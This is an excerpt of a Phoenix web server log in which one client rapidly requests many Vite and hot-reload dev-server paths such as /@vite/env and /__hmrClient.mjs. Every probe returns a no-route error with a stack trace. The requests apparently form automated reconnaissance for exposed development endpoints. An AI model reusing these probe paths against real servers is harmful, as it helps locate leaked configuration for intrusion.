    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:15.385000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:40076] GET /__hmrClient.mjs
[Sat Sep  5 01:59:15.412000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:40076] ** (Phoenix.Router.NoRouteError) no route found for GET /__hmrClient.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:15.546000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33706] GET /@hmr.js
[Sat Sep  5 01:59:15.564000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33706] ** (Phoenix.Router.NoRouteError) no route found for GET /@hmr.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:15.669000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33698] GET /@hmr.mjs
[Sat Sep  5 01:59:15.688000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33698] ** (Phoenix.Router.NoRouteError) no route found for GET /@hmr.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:16.063000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33706] GET /__hmrClient
[Sat Sep  5 01:59:16.081000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33706] ** (Phoenix.Router.NoRouteError) no route found for GET /__hmrClient (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:16.421000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33706] GET /__hmrClient.js
[Sat Sep  5 01:59:16.440000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33706] ** (Phoenix.Router.NoRouteError) no route found for GET /__hmrClient.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:16.463000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33676] GET /__hmrClient.mjs
[Sat Sep  5 01:59:16.476000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33676] ** (Phoenix.Router.NoRouteError) no route found for GET /__hmrClient.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:16.526000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:57242] GET /
[Sat Sep  5 01:59:16.527000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:57242] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Sat Sep  5 01:59:16.527000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:57242] Sent 200 in 1ms
[Sat Sep  5 01:59:16.816000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:57250] GET /
[Sat Sep  5 01:59:16.816000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:57250] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Sat Sep  5 01:59:16.817000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:57250] Sent 200 in 941µs
[Sat Sep  5 01:59:16.971000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:49236] GET /
[Sat Sep  5 01:59:16.971000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:49236] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Sat Sep  5 01:59:16.972000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:49236] Sent 200 in 967µs
[Sat Sep  5 01:59:17.269000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:49242] GET /
[Sat Sep  5 01:59:17.269000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:49242] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Sat Sep  5 01:59:17.270000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:49242] Sent 200 in 1ms
[Sat Sep  5 01:59:18.455000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:28872] GET /@vite/env
[Sat Sep  5 01:59:18.474000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:28872] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/env (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:18.602000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:19482] GET /@vite/client.mjs
[Sat Sep  5 01:59:18.636000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:19482] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/client.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:18.644000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:19468] GET /@vite/client
[Sat Sep  5 01:59:18.647000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:19470] GET /@vite/client.js
[Sat Sep  5 01:59:18.676000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:19468] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/client (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:18.680000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:19470] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/client.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:19.138000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:19482] GET /bundledDevClient.mjs
[Sat Sep  5 01:59:19.158000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:19482] ** (Phoenix.Router.NoRouteError) no route found for GET /bundledDevClient.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:19.504000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:19468] GET /vite/client
[Sat Sep  5 01:59:19.524000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:19468] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/client (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:19.545000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:19482] GET /vite/client.js
[Sat Sep  5 01:59:19.568000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:19482] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/client.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:19.766000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:28872] GET /vite/client.mjs
[Sat Sep  5 01:59:19.806000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:28872] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/client.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:19.881000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:19482] GET /vite/hmr
[Sat Sep  5 01:59:19.899000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:19482] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/hmr (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

